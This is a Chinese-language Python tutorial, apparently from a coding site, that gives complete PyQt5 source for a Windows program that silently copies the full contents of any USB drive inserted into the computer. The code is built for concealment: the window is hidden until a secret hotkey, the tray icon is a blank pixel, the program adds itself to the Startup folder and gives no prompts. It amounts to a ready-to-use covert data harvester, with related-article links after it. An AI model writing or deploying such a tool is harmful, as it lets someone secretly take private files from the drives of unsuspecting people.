使用Python实现U盘数据自动拷贝

 更新时间:2025年02月05日 10:08:11   作者:mosquito_lover1  
这篇文章主要为大家详细介绍了如何使用Python实现U盘数据自动拷贝,即当电脑上有U盘插入时自动复制U盘内的所有内容,希望对大家有所帮助

功能

当电脑上有U盘插入时,自动复制U盘内的所有内容

主要特点

1、使用PyQt5创建图形界面,但默认隐藏

2、通过Ctrl+Alt+U组合键可以显示/隐藏界面

3、自动添加到Windows启动项

4、监控USB设备插入

5、按修改时间排序复制文件

6、静默运行,无提示

7、自动跳过无法复制的文件

8、配置文件保存目标路径

使用说明

1、首次运行时,按Ctrl+Alt+U显示界面

2、点击"选择目标文件夹"按钮设置保存位置

3、设置完成后可以关闭界面,程序会在后台运行

4、插入U盘后会自动复制内容到指定文件夹

 静默界面

实现代码

import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, 
                           QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmap
 
class USBCopyTool(QMainWindow):
    def __init__(self):
        super().__init__()
        self.config_file = 'config.json'
        self.target_path = self.load_config()
        self.init_ui()
        self.setup_system_tray()
        self.setup_hotkey()
        
        # 添加窗口事件过滤器
        self.installEventFilter(self)
        
        # 启动USB监控线程
        self.monitor_thread = Thread(target=self.monitor_usb, daemon=True)
        self.monitor_thread.start()
 
    def init_ui(self):
        self.setWindowTitle('USB自动复制工具')
        self.setGeometry(300, 300, 400, 200)
        
        central_widget = QWidget()
        self.setCentralWidget(central_widget)
        layout = QVBoxLayout()
        
        self.path_label = QLabel(f'当前目标路径: {self.target_path}')
        layout.addWidget(self.path_label)
        
        select_btn = QPushButton('选择目标文件夹')
        select_btn.clicked.connect(self.select_target_path)
        layout.addWidget(select_btn)
        
        central_widget.setLayout(layout)
        self.hide()
 
    def setup_system_tray(self):
        self.tray_icon = QSystemTrayIcon(self)
        # 创建一个1x1的空白图标而不是完全没有图标
        blank_icon = QIcon()
        blank_icon.addPixmap(QPixmap(1, 1))
        self.tray_icon.setIcon(blank_icon)
        self.tray_icon.show()
 
    def setup_hotkey(self):
        # 注册全局热键 (Ctrl+Alt+U)
        self.hot_key_id = 1
        try:
            win32gui.RegisterHotKey(self.winId(), self.hot_key_id, 
                                  win32con.MOD_CONTROL | win32con.MOD_ALT, 
                                  ord('U'))
        except Exception as e:
            print(f"热键注册失败: {e}")
 
    def nativeEvent(self, eventType, message):
        try:
            if eventType == "windows_generic_MSG":
                msg = wintypes.MSG.from_address(message.__int__())
                if msg.message == win32con.WM_HOTKEY:
                    if self.isVisible():
                        self.hide()
                    else:
                        self.show()
                    return True, 0
        except Exception as e:
            print(f"事件处理错误: {e}")
        return False, 0
 
    def load_config(self):
        try:
            with open(self.config_file, 'r') as f:
                config = json.load(f)
                return config.get('target_path', '')
        except:
            return ''
 
    def save_config(self):
        with open(self.config_file, 'w') as f:
            json.dump({'target_path': self.target_path}, f)
 
    def select_target_path(self):
        path = QFileDialog.getExistingDirectory(self, '选择目标文件夹')
        if path:
            self.target_path = path
            self.path_label.setText(f'当前目标路径: {self.target_path}')
            self.save_config()
 
    def monitor_usb(self):
        drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])
        print(f"初始驱动器: {drives_before}")
        
        while True:
            try:
                drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])
                new_drives = drives_now - drives_before
                
                if new_drives:
                    print(f"检测到新驱动器: {new_drives}")
                    for drive in new_drives:
                        drive_type = win32file.GetDriveType(drive)
                        print(f"驱动器 {drive} 类型: {drive_type}")
                        if drive_type == win32con.DRIVE_REMOVABLE:
                            print(f"开始复制U盘 {drive} 内容")
                            self.copy_usb_contents(drive)
                
                drives_before = drives_now
                time.sleep(1)
            except Exception as e:
                print(f"监控错误: {e}")
                time.sleep(1)
 
    def copy_usb_contents(self, drive):
        if not self.target_path:
            print("未设置目标路径")
            return
            
        # 获取U盘卷标名称
        try:
            volume_name = win32api.GetVolumeInformation(drive)[0]
            # 如果U盘没有卷标名称,则使用盘符
            if not volume_name:
                volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')
            # 替换非法字符
            volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|')
        except Exception as e:
            print(f"获取卷标名称失败: {e}")
            volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')
            
        target_folder = os.path.join(self.target_path, volume_name)
        print(f"复制到目标文件夹: {target_folder}")
        
        if not os.path.exists(target_folder):
            os.makedirs(target_folder)
            
        # 获取所有文件并按修改时间排序
        all_files = []
        try:
            for root, dirs, files in os.walk(drive):
                print(f"扫描目录: {root}")
                for file in files:
                    file_path = os.path.join(root, file)
                    try:
                        mtime = os.path.getmtime(file_path)
                        all_files.append((file_path, mtime))
                    except Exception as e:
                        print(f"无法获取文件信息: {file_path}, 错误: {e}")
                        continue
        except Exception as e:
            print(f"扫描目录失败: {e}")
                    
        all_files.sort(key=lambda x: x[1], reverse=True)
        print(f"找到 {len(all_files)} 个文件")
        
        # 复制文件
        for file_path, _ in all_files:
            try:
                rel_path = os.path.relpath(file_path, drive)
                target_path = os.path.join(target_folder, rel_path)
                target_dir = os.path.dirname(target_path)
                if not os.path.exists(target_dir):
                    os.makedirs(target_dir)
                print(f"复制文件: {file_path} -> {target_path}")
                shutil.copy2(file_path, target_path)
            except Exception as e:
                print(f"复制失败: {file_path}, 错误: {e}")
                continue
 
    def eventFilter(self, obj, event):
        if obj is self and event.type() == QEvent.WindowStateChange:
            if self.windowState() & Qt.WindowMinimized:
                # 延迟执行隐藏操作,避免界面闪烁
                QTimer.singleShot(0, self.hide)
                # 恢复窗口状态,这样下次显示时是正常状态
                self.setWindowState(Qt.WindowNoState)
                return True
        return super().eventFilter(obj, event)
 
def add_to_startup():
    try:
        startup_path = os.path.join(os.getenv('APPDATA'), 
                                  r'Microsoft\Windows\Start Menu\Programs\Startup')
        script_path = os.path.abspath(sys.argv[0])
        shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk')
        
        shell = win32com.client.Dispatch("WScript.Shell")
        shortcut = shell.CreateShortCut(shortcut_path)
        shortcut.Targetpath = script_path
        shortcut.WorkingDirectory = os.path.dirname(script_path)
        shortcut.save()
    except Exception as e:
        print(f"添加到启动项失败: {e}")
 
if __name__ == '__main__':
    # 确保只运行一个实例
    mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex')
    if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
        mutex = None
        sys.exit(0)
        
    add_to_startup()
    app = QApplication(sys.argv)
    tool = USBCopyTool()
    sys.exit(app.exec_()) 

以上就是使用Python实现U盘数据自动拷贝的详细内容,更多关于Python U盘数据拷贝的资料请关注脚本之家其它相关文章!

相关文章

  • python创造虚拟环境方法总结

    python创造虚拟环境方法总结

    在本篇内容里我们给大家整理了关于python创造虚拟环境的详细方法和步骤,需要的朋友们学习下。
    2019-03-03
  • 详解pyinstaller selenium python3 chrome打包问题

    详解pyinstaller selenium python3 chrome打包问题

    这篇文章主要介绍了详解pyinstaller selenium python3 chrome打包问题,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-10-10
  • Python Matplotlib 基于networkx画关系网络图

    Python Matplotlib 基于networkx画关系网络图

    这篇文章主要介绍了Python Matplotlib 基于networkx画关系网络图,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-07-07
  • Python集合pop()函数使用方法详解

    Python集合pop()函数使用方法详解

    这篇文章主要介绍了Python 集合 pop()函数的使用方法,文中有详细的代码实例,讲解的非常清楚,具有一定的参考价值,需要的朋友可以参考下
    2023-07-07
  • Python突破多线程限制GIL问题的4种实战解法

    Python突破多线程限制GIL问题的4种实战解法

    GIL(全局解释器锁)是CPython解释器的核心特性,其本质是“同一时刻仅允许一个线程执行Python字节码”,这直接导致Python多线程在CPU密集型任务中无法利用多核优势,本文整理了4种实战解法,大家可以根据需要进行选择
    2025-12-12
  • python中常用的内置模块汇总

    python中常用的内置模块汇总

    Python内置的模块有很多,我们也已经接触了不少相关模块,接下来咱们就来做一些汇总和介绍,在此我会整理出项目开发最常用的来进行讲解,感兴趣的朋友跟随小编一起看看吧
    2022-01-01
  • Python实现层次分析法及自调节层次分析法的示例

    Python实现层次分析法及自调节层次分析法的示例

    这篇文章主要介绍了Python实现层次分析法及自调节层次分析法的示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-04-04
  • Python中的解包(tuple和dict的解包、*、**)的几种使用方法

    Python中的解包(tuple和dict的解包、*、**)的几种使用方法

    本文主要介绍了Python中的解包的使用,包括uple和dict的解包、*、**,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2025-11-11
  • python 地图经纬度转换、纠偏的实例代码

    python 地图经纬度转换、纠偏的实例代码

    这篇文章主要介绍了python 地图经纬度转换、纠偏的实例代码,非常不错,具有一定的参考借鉴价值,需要的朋友可以参考下
    2018-08-08
  • 基于Python实现n-gram文本生成的示例代码

    基于Python实现n-gram文本生成的示例代码

    N-gram是自然语言处理中常用的技术,它可以用于文本生成、语言模型训练等任务,本文主要介绍了如何在Python中实现n-gram文本生成,需要的可以参考下
    2024-01-01

最新评论